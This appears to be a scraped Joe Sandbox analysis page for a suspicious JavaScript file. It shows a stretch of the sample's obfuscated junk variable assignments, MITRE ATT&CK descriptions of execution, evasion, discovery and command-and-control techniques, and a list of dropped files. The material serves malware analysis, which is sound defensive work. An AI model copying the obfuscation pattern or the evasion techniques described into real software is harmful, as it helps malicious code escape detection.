1235	twvopjh = "D";
1236	twvopjh = "n";
1237	twvopjh = "h";
1238	twvopjh = "m";
1239	twvopjh = "m";
1240	twvopjh = "X";
1241	twvopjh = "q";
1242	twvopjh = "j";
1243	twvopjh = "r";
1244	twvopjh = "P";
1245	twvopjh = "c";
1246	twvopjh = "C";
1247	twvopjh = "m";
1248	twvopjh = "G";
1249	twvopjh = "j";
1250	twvopjh = "V";
1251	twvopjh = "T";
1252	twvopjh = "h";
1253	twvopjh = "x";
1254	twvopjh = "O";
1255	twvopjh = "v";
1256	twvopjh = "U";
1257	gseqtbqu = "W";
1258	gseqtbqu = "a";
1259	gseqtbqu = "f";
1260	gseqtbqu = "i";
1261	gseqtbqu = "l";
1262	gseqtbqu = "C";
1263	gseqtbqu = "D";
1264	gseqtbqu = "n";
1265	gseqtbqu = "L";
1266	gseqtbqu = "u";
1267	gseqtbqu = "U";
1268	gseqtbqu = "A";
1269	gseqtbqu = "E";
1270	gseqtbqu = "P";
1271	gseqtbqu = "z";
1272	gseqtbqu = "K";
1273	gseqtbqu = "B";
1274	gseqtbqu = "Y";
1275	gseqtbqu = "S";
1276	gseqtbqu = "e";
1277	gseqtbqu = "R";
1278	gseqtbqu = "X";
1279	gseqtbqu = "K";
1280	gseqtbqu = "H";
1281	gseqtbqu = "A";
1282	gseqtbqu = "b";
1283	gseqtbqu = "A";
1284	gseqtbqu = "B";
1285	gseqtbqu = "p";
1286	gseqtbqu = "t";
1287	gseqtbqu = "p";
1288	gseqtbqu = "A";
1289	gseqtbqu = "K";
1290	gseqtbqu = "a";
1291	gseqtbqu = "b";
1292	gseqtbqu = "X";
1293	gseqtbqu = "r";
1294	gseqtbqu = "I";
1295	gseqtbqu = "T";
1296	gseqtbqu = "W";
1297	gseqtbqu = "G";
1298	gseqtbqu = ".";
1299	klghesda = "e";
1300	klghesda = "E";
1301	klghesda = "P";
1302	klghesda = "s";
1303	klghesda = "B";
1304	klghesda = "j";
1305	klghesda = "A";
1306	klghesda = "o";
1307	klghesda = "Z";
1308	klghesda = "t";
1309	klghesda = "T";
1310	klghesda = "T";
1311	klghesda = "K";
1312	klghesda = "l";
1313	klghesda = "x";
1314	klghesda = "L";
1315	klghesda = "d";
1316	klghesda = "K";
1317	klghesda = "m";
1318	klghesda = "H";
1319	klghesda = "N";
1320	klghesda = "D";
1321	klghesda = "q";
1322	klghesda = "H";
1323	klghesda = "z";
1324	klghesda = "D";
1325	klghesda = "c";
1326	klghesda = "h";
1327	klghesda = "f";
1328	klghesda = "a";
1329	klghesda = "v";
1330	klghesda = "r";
1331	klghesda = "u";
1332	klghesda = "N";
1333	klghesda = "F";
1334	klghesda = "y";
1335	klghesda = "C";
1336	tssucw = "J";
1337	tssucw = "N";
1338	tssucw = "r";
1339	tssucw = "J";
1340	tssucw = "N";
1341	tssucw = "N";
1342	tssucw = "L";
1343	tssucw = "E";
1344	miobemi = "F";
1345	miobemi = "p";
1346	miobemi = "T";
1347	miobemi = "h";
1348	miobemi = "H";
1349	miobemi = "H";
1350	miobemi = "A";
1351	miobemi = "i";
1352	miobemi = "P";
1353	miobemi = "n";
1354	miobemi = "l";
1355	miobemi = "G";
1356	miobemi = "T";
1357	miobemi = "j";
1358	miobemi = "W";
1359	miobemi = "Y";
1360	miobemi = "A";
1361	miobemi = "A";
1362	miobemi = "Z";
1363	miobemi = "R";
1364	miobemi = "P";
1365	miobemi = "b";
1366	miobemi = "A";
1367	miobemi = "n";
1368	miobemi = "b";
1369	miobemi = "z";
1370	miobemi = "-";
1371	adqtpzal = "u";
1372	adqtpzal = "Y";
1373	adqtpzal = "h";
1374	adqtpzal = "R";
1375	adqtpzal = "e";
1376	adqtpzal = "i";
1377	adqtpzal = "g";
1378	adqtpzal = "m";
1379	adqtpzal = "l";
1380	adqtpzal = "J";
1381	adqtpzal = "l";
1382	adqtpzal = "v";
1383	adqtpzal = "s";
1384	adqtpzal = "u";
1385	adqtpzal = "o";
1386	adqtpzal = "b";
1387	adqtpzal = "u";
1388	adqtpzal = "l";
1389	adqtpzal = "S";
1390	adqtpzal = "C";
1391	adqtpzal = "q";
1392	adqtpzal = "K";
1393	adqtpzal = "o";
1394	adqtpzal = "U";
1395	adqtpzal = "a";
1396	adqtpzal = "w";
1397	adqtpzal = "s";
1398	adqtpzal = "r";
1399	adqtpzal = "M";
1400	adqtpzal = "K";
1401	adqtpzal = "g";
1402	adqtpzal = "j";
1403	adqtpzal = "Q";
1404	adqtpzal = "B";
1405	adqtpzal = "q";
1406	adqtpzal = "g";
1407	adqtpzal = "u";
1408	adqtpzal = "D";
1409	adqtpzal = "r";
1410	adqtpzal = "e";
1411	shplmvad = "a";
1412	shplmvad = "E";
1413	shplmvad = "q";
1414	shplmvad = "q";
1415	shplmvad = "D";
1416	shplmvad = "v";
1417	shplmvad = "r";
1418	shplmvad = "L";
1419	shplmvad = "X";
1420	shplmvad = "v";
1421	shplmvad = "K";
1422	shplmvad = "i";
1423	shplmvad = "I";
1424	shplmvad = "m";
1425	shplmvad = "k";
1426	shplmvad = "M";
1427	shplmvad = "z";
1428	shplmvad = "h";
1429	shplmvad = "T";
1430	shplmvad = "j";
1431	shplmvad = "z";
1432	shplmvad = "%";
1433	tdcxrqwy ( );	tdcxrqwy() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2153616741885716229.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ed872cd-38d5-4f76-b1cf-351917924b29.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6c39a0.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b919248e-3e6c-4677-ab5b-5e6dfb99f153.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2153616741885716229.js